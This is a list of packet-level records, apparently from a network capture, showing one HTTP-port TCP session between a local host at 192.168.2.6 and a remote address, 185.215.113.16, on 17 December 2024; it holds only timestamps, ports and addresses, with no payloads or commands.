Dec 17, 2024 10:08:52.435386896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.436039925 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436094999 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436115026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.436129093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436280966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436336040 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.436861038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436893940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436929941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.436948061 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.436979055 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.437007904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.437630892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.437664986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.437695980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.437699080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.437736034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.437789917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.438524008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.438558102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.438591957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.438596010 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.438663006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.438719034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.439347982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.439383030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.439402103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.439416885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.439465046 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.439513922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.440139055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.440172911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.440206051 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.440207958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.440274000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.440329075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.441062927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441096067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441128969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441150904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.441164970 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441171885 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.441795111 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441829920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441862106 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.441864014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441899061 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.441953897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.442596912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.442631006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.442661047 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.442663908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.442730904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.442790031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.443372965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.443408966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.443443060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.443456888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.443476915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.443495989 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.443965912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.443996906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.444030046 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.495194912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495208979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495220900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495290995 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.495291948 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.495440006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495518923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495539904 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495553017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495588064 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.495615005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.495615959 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.496293068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.496304035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.496315956 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.496361017 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.496388912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.496442080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497071028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497090101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497101068 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497149944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.497176886 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.497457981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497875929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497889042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497899055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.497945070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.497970104 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.498514891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.498564959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.498627901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.578954935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.578989029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579025030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579061031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579092026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579111099 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579125881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579163074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579193115 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579194069 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579204082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579242945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579263926 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579478025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579531908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579566002 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.579668045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579668999 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.579849958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.580395937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.580430984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.580461025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.580465078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.580504894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.580559015 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.581130028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581170082 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581197023 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.581206083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581243038 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581274986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.581922054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581955910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.581983089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.581991911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.582027912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.582079887 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.582736969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.582771063 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.582803011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.582828045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.582972050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.625533104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.625698090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.625731945 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.625766993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.625999928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.625999928 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.626039028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.626076937 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.626112938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.626176119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.626185894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.626259089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.626864910 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627037048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627075911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627111912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627118111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.627367020 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.627695084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627728939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627763987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627784014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.627814054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627883911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627918005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627918959 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.627952099 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.627989054 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.628000975 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.628047943 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.629513025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.629547119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.629580975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.629621029 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.629632950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.629693031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.630187035 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.630353928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.630389929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.630419970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.630513906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.630577087 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.631005049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631176949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631211042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631230116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.631246090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631490946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.631720066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631753922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631788015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631822109 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.631838083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.631869078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.632580042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.632613897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.632647991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.632680893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.632698059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.632869005 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.633277893 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633311033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633346081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633369923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.633426905 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633588076 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.633800983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633852005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633905888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633939028 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633986950 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.633999109 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.633999109 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.634025097 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634073019 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.634078026 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634120941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634625912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.634737015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634769917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634803057 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.634855032 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.635227919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.635312080 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.635562897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.635596991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.635631084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.635656118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.635684967 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.635735989 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.636472940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687031984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687050104 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687063932 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687247038 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.687371016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687390089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687402010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687413931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687464952 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.687464952 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.687900066 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687911987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687922955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.687966108 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.688642025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.688652992 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.688703060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.688711882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.688716888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.688752890 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.689074993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.689191103 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.689522982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.689534903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.689546108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.689579964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.690248966 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.690259933 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.690309048 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.693065882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.693123102 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.770597935 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.770620108 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.770632982 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.770647049 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.770689011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.770740032 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.770939112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.770992041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.771006107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.771044970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.771372080 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.771384001 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.771397114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.771421909 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.771439075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.771636009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.772108078 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.772160053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.772171974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.772203922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.772244930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.772269011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.772994041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773005962 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773019075 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773067951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773073912 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.773112059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.773741961 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773802042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773813963 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.773844004 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.773874998 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.773932934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.774431944 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.774451971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.774463892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.774492025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.774530888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.774600029 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817217112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817230940 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817245007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817306042 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.817373991 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817389011 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.817583084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817636013 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817677021 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.817817926 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817928076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.817950964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.817995071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818007946 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818052053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.818061113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818104982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.818775892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818824053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818836927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.818883896 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.818964005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.819019079 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.819737911 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.819791079 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.819803953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.819844007 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.819850922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.819895029 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.820338964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.820353985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.820367098 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.820411921 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.820446968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.820552111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.821103096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.821115971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.821126938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:52.821166992 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:52.821716070 CET	80	49774	185.215.113.16	192.168.2.6
